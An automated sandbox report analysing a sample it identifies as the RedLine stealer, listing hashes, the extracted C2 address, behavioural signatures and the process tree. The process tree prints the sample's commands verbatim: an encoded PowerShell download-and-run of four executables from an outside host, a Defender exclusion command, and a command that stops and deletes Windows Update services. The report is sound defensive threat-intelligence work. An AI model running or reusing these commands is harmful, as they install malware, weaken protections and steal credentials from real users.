Analysis
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max time kernel
35s -
max time network
72s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
28/01/2023, 19:25
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20220812-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/2124-174-0x0000000000630000-0x0000000000650000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1140 created 2560 1140 SmartDefRun.exe 20 PID 1140 created 2560 1140 SmartDefRun.exe 20 PID 1140 created 2560 1140 SmartDefRun.exe 20 PID 1140 created 2560 1140 SmartDefRun.exe 20 PID 4780 created 608 4780 powershell.EXE 5 -
Blocklisted process makes network request 1 IoCs
flow pid Process 10 4940 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 2060 C4Loader.exe 64 new2.exe 1056 SysApp.exe 1140 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4888 set thread context of 2800 4888 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 64 set thread context of 2124 64 new2.exe 92 PID 1140 set thread context of 8 1140 SmartDefRun.exe 114 PID 4780 set thread context of 1400 4780 powershell.EXE 119 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3888 sc.exe 4564 sc.exe 4684 sc.exe 800 sc.exe 380 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 4776 4888 WerFault.exe 79 1684 64 WerFault.exe 89 -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 4940 powershell.exe 4940 powershell.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 1056 SysApp.exe 2124 vbc.exe 1140 SmartDefRun.exe 1140 SmartDefRun.exe 4332 powershell.exe 4332 powershell.exe 1140 SmartDefRun.exe 1140 SmartDefRun.exe 1140 SmartDefRun.exe 1140 SmartDefRun.exe 4468 powershell.exe 4468 powershell.exe 1140 SmartDefRun.exe 1140 SmartDefRun.exe 4780 powershell.EXE 3548 powershell.EXE 3548 powershell.EXE 4780 powershell.EXE 4780 powershell.EXE 1400 dllhost.exe 1400 dllhost.exe 1400 dllhost.exe 1400 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4940 powershell.exe Token: SeDebugPrivilege 2124 vbc.exe Token: SeDebugPrivilege 4332 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeIncreaseQuotaPrivilege 4468 powershell.exe Token: SeSecurityPrivilege 4468 powershell.exe Token: SeTakeOwnershipPrivilege 4468 powershell.exe Token: SeLoadDriverPrivilege 4468 powershell.exe Token: SeSystemProfilePrivilege 4468 powershell.exe Token: SeSystemtimePrivilege 4468 powershell.exe Token: SeProfSingleProcessPrivilege 4468 powershell.exe Token: SeIncBasePriorityPrivilege 4468 powershell.exe Token: SeCreatePagefilePrivilege 4468 powershell.exe Token: SeBackupPrivilege 4468 powershell.exe Token: SeRestorePrivilege 4468 powershell.exe Token: SeShutdownPrivilege 4468 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeSystemEnvironmentPrivilege 4468 powershell.exe Token: SeRemoteShutdownPrivilege 4468 powershell.exe Token: SeUndockPrivilege 4468 powershell.exe Token: SeManageVolumePrivilege 4468 powershell.exe Token: 33 4468 powershell.exe Token: 34 4468 powershell.exe Token: 35 4468 powershell.exe Token: 36 4468 powershell.exe Token: SeIncreaseQuotaPrivilege 4468 powershell.exe Token: SeSecurityPrivilege 4468 powershell.exe Token: SeTakeOwnershipPrivilege 4468 powershell.exe Token: SeLoadDriverPrivilege 4468 powershell.exe Token: SeSystemProfilePrivilege 4468 powershell.exe Token: SeSystemtimePrivilege 4468 powershell.exe Token: SeProfSingleProcessPrivilege 4468 powershell.exe Token: SeIncBasePriorityPrivilege 4468 powershell.exe Token: SeCreatePagefilePrivilege 4468 powershell.exe Token: SeBackupPrivilege 4468 powershell.exe Token: SeRestorePrivilege 4468 powershell.exe Token: SeShutdownPrivilege 4468 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeSystemEnvironmentPrivilege 4468 powershell.exe Token: SeRemoteShutdownPrivilege 4468 powershell.exe Token: SeUndockPrivilege 4468 powershell.exe Token: SeManageVolumePrivilege 4468 powershell.exe Token: 33 4468 powershell.exe Token: 34 4468 powershell.exe Token: 35 4468 powershell.exe Token: 36 4468 powershell.exe Token: SeIncreaseQuotaPrivilege 4468 powershell.exe Token: SeSecurityPrivilege 4468 powershell.exe Token: SeTakeOwnershipPrivilege 4468 powershell.exe Token: SeLoadDriverPrivilege 4468 powershell.exe Token: SeSystemProfilePrivilege 4468 powershell.exe Token: SeSystemtimePrivilege 4468 powershell.exe Token: SeProfSingleProcessPrivilege 4468 powershell.exe Token: SeIncBasePriorityPrivilege 4468 powershell.exe Token: SeCreatePagefilePrivilege 4468 powershell.exe Token: SeBackupPrivilege 4468 powershell.exe Token: SeRestorePrivilege 4468 powershell.exe Token: SeShutdownPrivilege 4468 powershell.exe Token: SeDebugPrivilege 4468 powershell.exe Token: SeSystemEnvironmentPrivilege 4468 powershell.exe Token: SeRemoteShutdownPrivilege 4468 powershell.exe Token: SeUndockPrivilege 4468 powershell.exe Token: SeManageVolumePrivilege 4468 powershell.exe Token: 33 4468 powershell.exe -
Suspicious use of WriteProcessMemory 56 IoCs
description pid Process procid_target PID 4888 wrote to memory of 2800 4888 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4888 wrote to memory of 2800 4888 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4888 wrote to memory of 2800 4888 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4888 wrote to memory of 2800 4888 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 4888 wrote to memory of 2800 4888 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 81 PID 2800 wrote to memory of 4940 2800 vbc.exe 85 PID 2800 wrote to memory of 4940 2800 vbc.exe 85 PID 2800 wrote to memory of 4940 2800 vbc.exe 85 PID 4940 wrote to memory of 2060 4940 powershell.exe 87 PID 4940 wrote to memory of 2060 4940 powershell.exe 87 PID 4940 wrote to memory of 2060 4940 powershell.exe 87 PID 4940 wrote to memory of 64 4940 powershell.exe 89 PID 4940 wrote to memory of 64 4940 powershell.exe 89 PID 4940 wrote to memory of 64 4940 powershell.exe 89 PID 4940 wrote to memory of 1056 4940 powershell.exe 90 PID 4940 wrote to memory of 1056 4940 powershell.exe 90 PID 4940 wrote to memory of 1056 4940 powershell.exe 90 PID 4940 wrote to memory of 1140 4940 powershell.exe 91 PID 4940 wrote to memory of 1140 4940 powershell.exe 91 PID 64 wrote to memory of 2124 64 new2.exe 92 PID 64 wrote to memory of 2124 64 new2.exe 92 PID 64 wrote to memory of 2124 64 new2.exe 92 PID 64 wrote to memory of 2124 64 new2.exe 92 PID 64 wrote to memory of 2124 64 new2.exe 92 PID 3192 wrote to memory of 3888 3192 cmd.exe 103 PID 3192 wrote to memory of 3888 3192 cmd.exe 103 PID 3192 wrote to memory of 4564 3192 cmd.exe 104 PID 3192 wrote to memory of 4564 3192 cmd.exe 104 PID 3192 wrote to memory of 4684 3192 cmd.exe 105 PID 3192 wrote to memory of 4684 3192 cmd.exe 105 PID 3192 wrote to memory of 800 3192 cmd.exe 106 PID 3192 wrote to memory of 800 3192 cmd.exe 106 PID 3192 wrote to memory of 380 3192 cmd.exe 107 PID 3192 wrote to memory of 380 3192 cmd.exe 107 PID 3192 wrote to memory of 3008 3192 cmd.exe 108 PID 3192 wrote to memory of 3008 3192 cmd.exe 108 PID 3192 wrote to memory of 1476 3192 cmd.exe 109 PID 3192 wrote to memory of 1476 3192 cmd.exe 109 PID 3192 wrote to memory of 2000 3192 cmd.exe 110 PID 3192 wrote to memory of 2000 3192 cmd.exe 110 PID 3192 wrote to memory of 2316 3192 cmd.exe 111 PID 3192 wrote to memory of 2316 3192 cmd.exe 111 PID 3192 wrote to memory of 3988 3192 cmd.exe 112 PID 3192 wrote to memory of 3988 3192 cmd.exe 112 PID 1140 wrote to memory of 8 1140 SmartDefRun.exe 114 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 4780 wrote to memory of 1400 4780 powershell.EXE 119 PID 1400 wrote to memory of 608 1400 dllhost.exe 5 PID 1400 wrote to memory of 660 1400 dllhost.exe 3
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:608
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ab9fcd9b-c6e3-47dd-ba39-7366d4a17712}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1400
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2560
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C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2060
-
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:64 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2124
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 64 -s 1366⤵
- Program crash
PID:1684
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1056
-
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1140
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 2563⤵
- Program crash
PID:4776
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4332
-
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3888
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4564
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4684
-
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:800
-
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:380
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3008
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1476
-
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:2000
-
